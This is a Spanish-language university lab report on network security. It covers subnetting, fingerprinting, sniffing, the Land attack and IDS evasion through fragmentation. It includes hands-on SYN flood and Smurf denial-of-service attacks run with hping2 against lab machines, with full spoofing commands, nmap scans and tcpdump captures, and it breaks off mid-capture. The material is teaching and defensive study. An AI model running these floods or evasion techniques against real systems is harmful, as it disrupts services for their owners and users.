aspectos avanzados de seguridad en redes

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA.Ing. Carlos Alberto Amaya Tarazona

Deben llevar desarrolllados los ejercicios y realizar la explicación ante el grupo. Demostrar su funcionamiento y soportar la parte teórica del mismo o el significado de las herramientas y los procesos que están realizando.

EJERCICIO DE UN SNIFFER COMO ETTERCAP PARA CAPTURAR CONVERSACIONES TCP COMO LAS CONTRASEÑAS DE CORREO: Denis Marianny Agudelo Fonseca, Nancy Carolina Machuca Saavedra.Fecha Octubre 31 de 2009.

EJERCICIO DE SIMULACION SOBRE PACKET TRACER CON LOS ESQUEMAS DE DIRECCIONAIENTO:(Mary Luz Granados, Jenny Paola Díaz, Edelmira Acuña). Fecha Octubre 31 de 2009.

Realice los siquientes esquemas:192.168.16.100/28� Utilice los últimos 10 nodos de la cuarta subnet utilizable de ese esquema. (En el simulador)� La puerta de enlace será el primer nodo de la segunda subnet utilizable� DNS1: Primer nodo de la tercera subnet utilizable� DNS2: Ultimo nodo de la Primera subnet utilizable

Para cada uno de los siguientes esquemas realice:

1) 192.168.16.45/282) 190.254.56.146/293) 172.26.96.162/244) 172.28.9.229/245) 10.1.1.1/246) 200.21.200.2/297) 200.21.200.10/288) 194.25.50.100/279) 192.200.10.30/2910)192.189.1.2/29

� Direcciones de Subnet� Broadcast� Número de host disponibles� Numero de subredes� Subnet por defecto� Broadcast por defecto� Ubicación de la IP en la red� Categoría a la que pertenece� Muestre el desarrollo del ejercicio en binario.

Y para llevarlos al simulador, una dos subnets en cada esquema. La segunda utilizabe de cada esquema y la antepenultima utilizabble. De cada subnets solo use cinco (05) estaciones de trabajo. Asigne las puertas de enlace y DNS que considere necesarias y viables.

1 de 60


EJERCICIO1: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.1.1 ¿Qué tipos de vulnerabilidades nos podemos encontrar en la capa de transporte?1.2 Indica y explica en qué consisten las distintas herramientas de búsqueda de huellasidentificativas.1.3 Indica qué tipos de técnicas utilizan los escuchadores de red y cómo se puede evitar suuso.1.4 Busca por Internet y explica con tus palabras qué es un “Land Attack”.

DESARROLLO. Ejercicio1

1.1Las vulnerabilidades pretenden describir las debilidades y los métodos más comunes que se utilizan para perpetrar ataques a la seguridad de la familia de protocolos TCP/IP (confidencialidad, integridad y disponibilidad de la información).

Éstos pueden provenir principalmente de dos fuentes:

- Usuarios autentificados, al menos a parte de la red, como por ejemplo empleados internos o colaboradores externos con acceso a sistemas dentro de la red de la empresa. También denominados insiders.

- Atacantes externos a la ubicación física de la organización, accediendo remotamente. También denominados outsiders.

Amenazas ConsecuenciasINTEGRIDAD

Datos modificados Información perdidaCaballo de Troya Maquina penetradaMemoria cambiada Vulnerabilidad a otras amenazasMensajes modificados (en transito)

CONFIDENCIALIDADMensajes escuchados en la red Perdida de privacidadDatos robados de servidores Revela contraseñas etc.Análisis de trafico Identifica patrones de accesoDetecta configuración de la red Facilita otros ataques

DENIAL OF SERVICEProcesos matados MolestiasInundación con paquetes Interferencia con trabajoLlenado de discos

2 de 60


Aislamiento de maquinas (DNS)AUTENTIFICACION

Identidades falsas Acciones atribuidas al usuarioDatos falsos Daño al nombre institucional

Las vulnerabilidades pueden clasificarse según dos criterios:- Número de paquetes a emplear en el ataque:Atomic: se requiere un único paquete para llevarla a cabo.Composite: son necesarios múltiples paquetes.- Información necesaria para llevar a cabo el ataque:Context: se requiere únicamente información de la cabecera del protocolo.Content: es necesario también el campo de datos o payload.

Ping of death Port scanContext Land attack SYN Flood

WinNuke TCP hijackingDNS attack SMTP attacks

Content Proxied RPC String matchesIIS attack SniffingAtomic Composite

1.2

La utilización de estas técnicas se conoce con el nombre de fingerprinting, es decir, obtención de la huella identificativa de un sistema o equipo conectado a la red.

Una técnica específica que permite extraer información de un sistema concreto es el fingerprinting es decir, la obtención de su huella identificativa respecto a la pila TCP/IP.

El objetivo primordial suele ser obtener el sistema operativo que se ejecuta en la máquina destino de la inspección. Esta información junto con la versión del servicio o servidor facilitará la búsqueda de vulnerabilidades asociadas al mismo.

Gran parte de la información de la pila TCP/IP puede obtenerse en base al intercambio en tres pasos propio del protocolo TCP/IP (TCP three-way handshake)

La probabilidad de acierto del sistema operativo remoto es muy elevada, y se basa en la identificación de las características propias de una implementación de la pila TCP/IP frente a otra, ya que la interpretación de los RFCs no concuerda siempre. Para poder aplicar esta técnica con precisión es necesario disponer de un puerto abierto (TCP y/o UDP).

3 de 60


Las diferentes pruebas a realizar para diferenciar los sistemas operativos son:

- FIN probe: Al enviarse un paquete de FIN el sistema remoto no debería responder unque implementaciones como la de Windows NT devuelven un FIN-ACK.

- Bogus flag probe: Se activa un flag TCP aleatorio en un paquete SYN. La respuesta de implementaciones como Linux devuelven un SYN-ACK con el mismo flag activo.

- ISN sampling: Pretende encontrarse un patrón empleado por la implementación para seleccionar los números iniciales de secuencia (ISN) de una conexión TCP.

- Monitorización del “Don´t fragment bit”: Se analiza si el sistema operativo establece por defecto el bit de no fragmentación (DF) como activo o no.

- Tamaño de ventana TCP inicial: El tamaño de ventan empleado por defecto en cada implementación es muy particular y ayuda a descubrir de cual puede tratarse.

- Valor de ACK: El valor del número de secuencia asignado en el campo ACK diferencia también la implementación, ya que algunas devuelven el valor recibido como número de secuencia mientras que otras lo incrementan en uno.

- Mensaje de error de ICMP quenching: El RFC 1812 determina que el control de flujo de mensajes de error debe limitarse. Al enviar un paquete UDP a un número elevado de puerto, aleatoriamente, se puede medir el número de mensajes de tipo unreachable por unidad de tiempo.

- ICMP message quoting: Los comentarios añadidos a los mensajes de error ICMP varían en función del sistema operativo.

- Mensajes de error ICMP-integridad: Las cabeceras IP pueden ser alteradas por las diferentes implementaciones al devolver mensajes de error ICMP. Un análisis exhaustivo de los cambios en las cabeceras puede permitir determinar el S.O.

- TOS (Tipo de Servicio): Ante los mensajes “ICMP port unreachable” puede examinarse el campo TOS, que suele ser cero pero puede variar.

- Gestión de la fragmentación [ El manejo de los paquetes fragmentados que se superponen es gestionado de forma particular por cada pila: al reensamblar los fragmentos, algunas sobrescriben los datos más antiguos con los nuevos y viceversa.

- Opciones TCP: Los RFCs 793 y 1323 definen las opciones TCP posibles. Mediante el envío de paquetes con muchas opciones avanzadas activas (no operation, MSS, Window

4 de 60


scale factor, timestamps...) puede descubrirse el comportamiento de cada S.O.

Dos de las herramientas que facilitan esta tarea son NMAP y QUESO. Mientras que la funcionalidad de la primera es muy amplia, la segunda sólo se aplica a la aplicación de esta técnica (identificación de sistemas a través del comportamiento de la pila TCP/IP).

Dentro de las técnicas de identificación de un sistema existen otras, denominadas pasivas, que no se basan en enviar paquetes al sistema a atacar. Para ello monitorizan el tráfico asociado al sistema y en función de los atributos y características de los paquetes, principalmente de las cabeceras TCP, determinan su origen.

1.3

TECNICAS UTILIZADAS:

Sniffers: que se encargan de capturar e interpretar tramas y datagramas mediante

aplicaciones en entornos de red basados en difusión. Un sniffer no es más que un sencillo

programa que intercepta toda la información que pase por la interfaz de red a la que esté

asociado. Una vez capturada, se podrá almacenar para su análisis posterior.

Sniffing: consiste en que sin necesidad de acceso a ningún sistema de la red, un atacante

podrá obtener información sobre cuentas de usuario, claves de acceso o incluso mensajes

de correo electrónico en el que se envían estas claves.

La forma más habitual de realizar técnicas de sniffing en una red, probablemente porque

está al alcance de todo el mundo, es la que podríamos denominar sniffing software,

utilizando las aplicaciones que ya mencionadas.

Niffing: también se conocen como técnicas de eavesdropping y técnicas de snooping. La

primera, eavesdropping, es una variante del sniffing, caracterizada por realizar la adquisición

o intercepción del tráfico que circula por la red de forma pasiva, es decir, sin modificar el

contenido de la información.

Por otra parte, las técnicas de snooping se caracterizan por el almacenamiento de la

información capturada en el ordenador del atacante, mediante una conexión remota

5 de 60


establecida durante toda la sesión de captura. En este caso, tampoco se modifica la

información incluida en la transmisión.

COMO SE PUEDEN EVITAR LOS ATAQUES:Una solución para evitar esta técnica consiste en la segmentación de la red y de los equipos

mediante el uso de conmutadores (switches). Al segmentar la red y los equipos, el único

tráfico que tendrían que ver las máquinas sería el que les pertenece, puesto que el

conmutador se encarga de encaminar hacia el equipo únicamente aquellos paquetes

destinados a su dirección MAC

1.1Con tus palabras qué es un “Land Attack”. ÇUn ataque LAND se realiza al enviar un paquete TCP/SYN falsificado con la dirección IP del

servidor objetivo como si fuera la dirección origen y la dirección destino a la vez, además de

usar un puerto abierto TCP, tanto de destino como de origen. Las consecuencias son:

Que el servidor piense o responda a sí mismo ciontinuamente hasta colapsar.

Como evito el ataque LAND:

La mayoría de los firewalls deberían interceptar el paquete malicioso. Adicionalmente routers

deberían ser configurados con filtros tanto de entrada como de salida, para bloquear tráco

donde la dirección IP origen se encuentra en el mismo espacio de direcciones que la

dirección destino. Algunos sistemas operativos han generado actualizaciones para

específicamente cubrir este problema de seguridad.

EJERCICIO2: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009.

2.1 Supón que en una red hay un dispositivo que detecta ataques al servicio HTTP analizando el argumento de la petición GET, pero no recompone los paquetes fragmentados. ¿Qué tamaño de MTU deberíamos utilizar para ocultar al máximo los argumentos? -

DESARROLLO:

6 de 60


Con unas cabecera IP y TCP de 20 y 32 bytes de longitud respectivamente, cogiendo un tamaño de fragmento de 52 bytes nos aseguramos de que en el primer fragmento no aparece información del protocolo de nivel de aplicación http. Este tamaño de fragmento cumple el requisito de que el tamaño del campo de datos de la trama IP es múltiple de 8. Como tenemos fragmentos de 52 bytes, deberíamos tener una MTU ≥ 52 (en la práctica, no existen redes con MTU menor de 68).

2.2 Dibuja la estructura de todos los fragmentos que resultarán de la comunicación del siguiente datagrama IP - una petición HTTP - a través de una red con la MTU indicada anteriormente, detallando el valor de los campos de la cabecera relacionados con la fragmentación (offset, longitud y bit de más fragmentos).

DESARROLLO

7 de 60


8 de 60


9 de 60


EJERCICIO3 : Diego Joya, Milton Alfonso, Patricia Cañaveral, Nelcy Rodríguez. Sábado 14 de Noviembre de 2009.

En este ejercicio realizarás varios tipos de ataques de denegación de servicio -DoS-, haciendo uso únicamente de la herramienta hping3, disponible http://www.hping.org/ o también disponible en la distro de BackTrack. Puedes encontrar información sobre la instalación en http://www.hacktoolrepository.com/tool.pl?tid=8&toolname=hping donde hay scripts.3.1 Arranca un servicio HTTP en el puerto 80 de vuestro equipo. Haz una inundación SYN (SYN Flooding) de datagramas TCP al servicio arrancado, falseando la dirección origen de forma aleatoria en cada petición. Indica la instrucción utilizada, explica los parámetros utilizados, muestra la captura y explica las tramas (que puedes obtener mediante el Ethereal o Wireshark).3.2 Haz ahora un ataque Smurf (ICMP de tipo echo-request) utilizando la dirección localhost (127.0.0.1) como origen y vuestra IP como destino. Como en el caso anterior, indica la instrucción utilizada, explica los parámetros utilizados, muestra la captura y explica las tramas.3.3 Realiza un ataque de Snork sobre vuestro equipo jugando con los puertos del servicio Chargen y echo en UDP. Indica la instrucción que aplicas y, tanto si el ataque tiene éxito como si no, explica los parámetros, muestra la traza y explica el resultado.3.4 En caso de que el ataque anterior no haya tenido éxito, pon operativos los servicios Charge y Echo y verifica que no haya cortafuegos activos en el equipo. ¿Cómo arrancas el servicio? Vuelve a repetir el ejercicio anterior. ¿Qué resultado obtienes y por qué?3.5 Ejecuta ahora la instrucción localhost –s 7 –p 19 –c 1 –d 8 –a localhost

Captura las trazas y explica el tráfico capturado. Con esta instrucción, ¿sería posible hacer un ataque Snork? ¿Por qué? Se supone que los servicios están operativos, no hay cortafuegos ni paquetes de seguridad específicos.

DESARROLLO

3.1 Ataque SYN Flooding

Para este ejercicio, lo aplique en los equipos de la empresa con el siguiente esquema.

10 de 60

http://www.hacktoolrepository.com/tool.pl?tid=8&toolname=hping

http://www.hping.org/


El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de intercambio TCP para inundar la cola de espera. La victima se queda esperando por establecer un servicio pues el atacante no responde con ACK los SYN/ACK de la victima, Esto ocurre hasta saturar los recursos de memoria y así consigue la denegación de servicios de la víctima.

La denegación de servicios se da por que el sistema esta a la espera de que baje el umbral que generalmente es 1 minuto para aceptar mas conexiones, cada conexión generada por un SYN, tienen un temporizador de 1 minuto, cuando se excede el limite de tiempo o umbral, se libera la memoria que mantiene el estado de la conexión y la cuenta de la cola de servicios se disminuye en 1.

El atacante debe usar un IP falso para que no le hagan seguimiento a las conexiones.

11 de 60

172.26.96.27/24

Linux Ubuntu 810

172.26.96.97/24

Dirección IP Fija

Debian LennyLinux

AtacantePC Atacado

Router 172.26.96.241

172.26.96.162/24Windows Server

2003Asigna DHCP y

controla Dominio


Diagrama del ataque TCP/SYN Flooding

ORIGEN DESTINOIP=1.2.3.4 → SYN IP=172.26.96.97IP=1.2.3.4 ← SYN/ACK IP=172.26.96.97Nunca responde con ACK El IP=172.26.96.97 guarda en la cola la

petición de conexión por 1 minuto Se repite la secuencia de requerimiento El IP=172.26.96.97 se satura por tanto

requerimiento encolado y ocurre el DoS Cualquier IP cliente pide servicio al servidor El IP=172.26.96.97 no puede atender

requerimientos pues esta en medio de un ataque DoS. Solamente cuando cese el ataque automáticamente se atienden los requerimientos de los clientes

12 de 60


PROCEDIMIENTO:

La instrucción del ataque es así:# hping2 172.26.96.97 –-rand-source –S –-destport 80 –-faster --debug –w 2048

DESCRIPCION DE LOS PARAMETROS:

PARAMETRO DESCRIPCION172.26.96.97 IP de la Victima--rand-source IP ficticio o spoofed, se genera aleatorio, la idea

es que no exista en la red, al no existir este no responde y así el atacante pasa inadvertido

--debug Muestra cada intento-S Indica el flag “S” o SYN para solicitar un servico--destport Indica el servicio requerido, es clave que este

servicio este habilitado en la victima

13 de 60


--faster Hace el intento de envio de SYN lo mas rápido que se pueda

.w 2048 La ventana de envío máximo será de 2048

Ahora pruebe enviando mas paquetes por segundo y observe el rendimiento: # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster --debug –w 2048 -iu1000000, para 1 paquete por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster --debug –w 2048 -iu500000, para 2 paquetes por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster --debug –w 2048 -iu333333, para 3 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster --debug –w 2048 -iu250000, para 4 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster --debug –w 2048 -iu200000, para 5 paquetes por segundo (*)

¿Que requisitos deben cumplirse para que el ataque sea efectivo?

Si el servidor esta blindado con un firewall que sea stateful entonces el servidor víctima será capaz de revisar las sesiones y se dará cuenta del ataque en curso. Esto hará que el ataque fracase.Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.

CAPTURA EN LA VÍCTIMA:

La configuración de red de la víctima es:

14 de 60


Se abrió un servicio por el puerto 80: Mi página web http://amayac.iespana.es

“NOTESE, que no cargo completamente, ya que cuando se lanzó el ataque desde la 172.26.96.27, no se completó el servicio.

15 de 60

http://amayac.iespana.es/


Las capturas por Wireshark fueron las siguientes:

Aca se observa una apertura normal de paquetes y servicios con solicitudes al puerto 80. La solicitud la hace la máquina víctima 172.26.96.97 a un DNS amayac.iespana.es con respuesta.

16 de 60


En ele momento de presentar el ataque, se observa la petición por parte del atacante quién pregunta por 172.26.96.97. Se empieza a observar la inundación de paquetes SYN con la intención de complementar el protocolo.

Luego se observa que se llega al límite al generar cada paquete un SYN/ACK cuando se llena el tamaño del bufer que almacena las peticiones.

17 de 60


Se observa finalmente la cantidad de peticiones y de tramas del protocolo sin terminar.

3.2 Ataque SmurfEl ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services (DoS), los cuales tienen como objetivo principal dejar fuera de servicio a la máquina que se ataca. Es una variante del ataque IP Flooding. El algoritmo general del ataque “Smurf” es el siguiente:

18 de 60


ELEMENTOS NECESARIO PARA REALIZAR EL ATAQUE:

Resumo para este ejercicio de la PEC que “Smurf” maneja tres elementos diferentes que trabajando entre si generan el ataque, estos son:

Uso de ICMP (Internet Control Messaging Protocol), normalmente de la misma manera que el ping. El propósito original de este protocolo es el de enviar y retornar mensajes de error, en particular "ping" chequea que una máquina específica este viva.

IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier paquete/mensaje en Internet. Por ejemplo se pueden enviar paquetes a una "dirección broadcast".

Cambio de dirección origen, se manipula el encabezado del paquete ICMP cambiando la dirección origen del mismo para que de esta manera las respuestas se generen hacia dicha dirección.

INTERPRETACIÓN CON UN EJEMPLO:

Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con su IP broadcast habilitado) que tiene 40 computadores, un solo mensaje ping creará 40 de respuesta . Que los recibirá la víctima.

COMPONENTES DEL ATAQUE

19 de 60


El ataque "smurf" tiene tres componentes principales: 1 El Atacante: es la persona que crea los paquetes ICMP con la IP fuente falsa y lanza el ataque. 2 El Intermediario: la red amplificadora del paquete ICMP con su direccionamiento broadcast habilitado. 3 La Víctima: su dirección IP ha sido suplantada para que las respuestas ICMP sean enviadas a ella. Se debe anotar que el intermediario también puede convertirse en víctima.

QUE NECESITE PARA HACER EL ATAQUE:

Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a la víctima hasta inundarla. Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo. Para ello, arme una red local con cuatro (4 equipos).

Cumpliendo algunas fases previas como las que se recomiendan para empezar ha realizar un ataque. Como la de capturar información.

Con nmap verifico o descubro las direcciones ip activas:

root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

20 de 60

10.1.1.2/24Ubuntu 8.10

Equipo Victima

Router ADSL 524B Dlink

10.1.1.1 GatewayAsugna direcciones

porDHCP a la LAN

10.1.1.3/24

Windows XP

10.1.1.4/24

Windows XP

10.1.1.5/24Knoppix STD

0.1

Internet


Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:51 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:1D:72:6A:E0:5C (Wistron) Host 10.1.1.4 appears to be up. MAC Address: 00:50:DA:D6:BA:20 (3com) Host 10.1.1.5 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Nmap done: 256 IP addresses (5 hosts up) scanned in 6.128 seconds root@carlosubuntu:/home/carlos#

Me arroja un resultado de cinco (5) hots. Es decir incluye al router

También verifique los sistemas operativos que tenían los hosts de la red

Ejemplo para el host con la dirección 10.1.1.3

root@carlosubuntu:/home/carlos# nmap -O 10.1.1.3

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:54 COT Interesting ports on 10.1.1.3: Not shown: 1710 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:1D:72:6A:E0:5C (Wistron) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.725 seconds root@carlosubuntu:/home/carlos#

Y para el host que destine como victima el Ubuntu 8.10

21 de 60

mailto:root@carlosubuntu


root@carlosubuntu:/home/carlos# nmap -O 10.1.1.2

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:55 COT Interesting ports on 10.1.1.2: Not shown: 1709 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 902/tcp open iss-realsecure 5900/tcp open vnc 8000/tcp open http-alt 8009/tcp open ajp13 Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17 - 2.6.23 Uptime: 0.312 days (since Sun Mar 14 14:26:35 2009) Network Distance: 0 hops

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.702 seconds root@carlosubuntu:/home/carlos#

ATAQUE

La víctima es el equipo Ubuntu 8.10 con l dirección ip 10.1.1.2. la dirección de broadcast de la red es 10.1.1.255

root@carlosubuntu:/home/carlos# ifconfig eth0 Link encap:Ethernet HWaddr 00:a0:d1:9b:b4:56 inet addr:10.1.1.2 Bcast:10.1.1.255 Mask:255.255.255.0 inet6 addr: fe80::2a0:d1ff:fe9b:b456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:85146 errors:0 dropped:4 overruns:0 frame:0 TX packets:84610 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:94913189 (94.9 MB) TX bytes:8073180 (8.0 MB) Interrupt:16

Usando la herramienta ‘hping2’ que lance desde el equipo con Knoppix STD 0.1, el cual instalé con el DVD que sumnistro la UOC. Instalado localmente en un disco duro destinado para ello, es decir no en modo live cd.

22 de 60


La instrucción para el ataque se ejecuto así: # hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56

ESTA FUE LA QUE REALICE

root@kstd:~# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp -C --icmp-request -y -V -d 56 using eth0, addr: 10.1.1.5, MTU: 1500HPING 10.1.1.255 (eth0 10.1.1.255): icmp mode set, 28 headers + 56 data bytes

--- 10.1.1.255 hping statistic ---215 packets tramitted, 0 packets received, 100% packet lossround-trip min/avg/max = 0.0/0.0/0.0 msroot@kstd:~# root@kstd:~#

INTERPRETACION DEL COMANDO: Investigando y aplicando, esto fue lo que encontré para poder explicar el comando aplicado para este ejercicio de la PEC:

PARAMETRO DESCRIPCION10.1.1.255 Red que se usara como medio para atacar a la maquina,

es el campo destino del paquete IP, el objetivo es hacerle echo-request a cada una de las maquinas de la red.

-spoof 10.1.1.2 Ip de la maquina a atacar, campo de la IP fuente del paquete IP, a esta IP las maquinas de la red le enviaran un icmp-reply hasta saturarla y colapsarla.

--icmp Indica el protocolo que se usara, en este caso es icmp

-C o --icmp-request Indica el tipo de paquete ICMP, para este caso icmp- request que es el defecto

-y Indica que no fragmente los paquetes-V Muestra información adicional de lo que está ocurriendo-d 56 Tamaño de los datos a enviar. 56 es el estandar del

tamaño ping

23 de 60


El sniffer me capturo estos paquetes en la maquina atacada

root@carlosubuntu:/home/carlos# tcpdump -i eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 22:16:53.234983 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1024, length 64 22:16:53.235562 IP carlosubuntu.local.45325 > 10.1.1.1.domain: 40365+ PTR? 255.1.1.10.in-addr.arpa. (41) 22:16:53.267260 IP 10.1.1.1.domain > carlosubuntu.local.45325: 40365 NXDomain* 0/1/0 (97) 22:16:53.368115 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:54.234942 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1280, length 64 22:16:54.376116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:55.234951 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1536, length 64 22:16:56.234954 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1792, length 64 22:16:56.380097 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:57.234961 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2048, length 64 22:16:58.234969 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2304, length 64 22:16:58.272146 IP carlosubuntu.local.45125 > 10.1.1.1.domain: 15729+ PTR? 2.1.1.10.in-addr.arpa. (39) 22:16:58.305000 IP 10.1.1.1.domain > carlosubuntu.local.45125: 15729 NXDomain* 0/1/0 (95) 22:16:58.408106 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 2.1.1.10.in-addr.arpa. (39) 22:16:58.408248 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) PTR[|domain] 22:16:58.408593 IP carlosubuntu.local.37551 > 10.1.1.1.domain: 54572+ PTR? 1.1.1.10.in-addr.arpa. (39) 22:16:58.439042 IP 10.1.1.1.domain > carlosubuntu.local.37551: 54572 NXDomain* 0/1/0 (95) 22:16:58.544088 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:16:59.234978 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2560, length 64 22:16:59.548100 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:00.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2816, length 64 22:17:01.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3072, length 64 22:17:01.552099 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:02.234993 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3328, length 64 22:17:03.235002 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3584, length 64 22:17:03.444206 IP carlosubuntu.local.51050 > 10.1.1.1.domain: 21964+ PTR? 251.0.0.224.in-addr.arpa. (42) 22:17:03.674842 IP 10.1.1.1.domain > carlosubuntu.local.51050: 21964 NXDomain 0/1/0 (100) 22:17:03.776094 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:04.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3840, length 64 22:17:04.784116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:05.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4096, length 64 22:17:06.235028 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4352, length 64 22:17:06.788118 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:07.235019 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4608, length 64 22:17:08.235060 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4864, length 64 22:17:09.235039 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5120, length 64 22:17:10.235157 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5376, length 64 22:17:11.235057 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5632, length 64 22:17:12.235058 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5888, length 64 22:17:13.235056 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6144, length 64 22:17:14.235080 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6400, length 64

PARA AUMENTAR

Ahora probe enviando mas paquetes por segundo y observe el rendimiento: # hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 -iu1000000, para 1 paquete por segundo

24 de 60


Desde el punto de vista del atacante, (en este caso la 10.1.1.5 l equipo con Kanoppix STD 0.1) smurf genera un tráfico de red así:

root@kstd:~# tcpdump -i eth0tcpdump: listening on eth003:21:49.430123 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:49.431017 10.1.1.5.32769 > 10.1.1.1.domain: 36141+ PTR? 2.1.1.10.in-addr. arpa. (39) (DF)03:21:49.462612 10.1.1.1.domain > 10.1.1.5.32769: 36141 NXDomain* 0/1/0 (95)03:21:49.463026 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. arpa. (39) (DF)03:21:50.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:51.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:52.430107 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:53.430106 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:54.430080 arp who-has 10.1.1.1 tell 10.1.1.503:21:54.430137 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:54.430537 arp reply 10.1.1.1 is-at 0:1c:f0:73:d6:9703:21:54.470097 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. arpa. (39) (DF)03:21:54.502520 10.1.1.1.domain > 10.1.1.5.32769: 36142 NXDomain* 0/1/0 (95)03:21:54.502793 10.1.1.5.32769 > 10.1.1.1.domain: 36143+ PTR? 5.1.1.10.in-addr. arpa. (39) (DF)03:21:54.532438 10.1.1.1.domain > 10.1.1.5.32769: 36143 NXDomain* 0/1/0 (95)03:21:55.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:56.430120 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:57.430118 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:58.430157 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:59.430124 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:21:59.502398 arp who-has 10.1.1.5 tell 10.1.1.103:21:59.502420 arp reply 10.1.1.5 is-at 0:50:4:82:c:b003:22:00.430259 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)03:22:01.430149 10.1.1.2 > 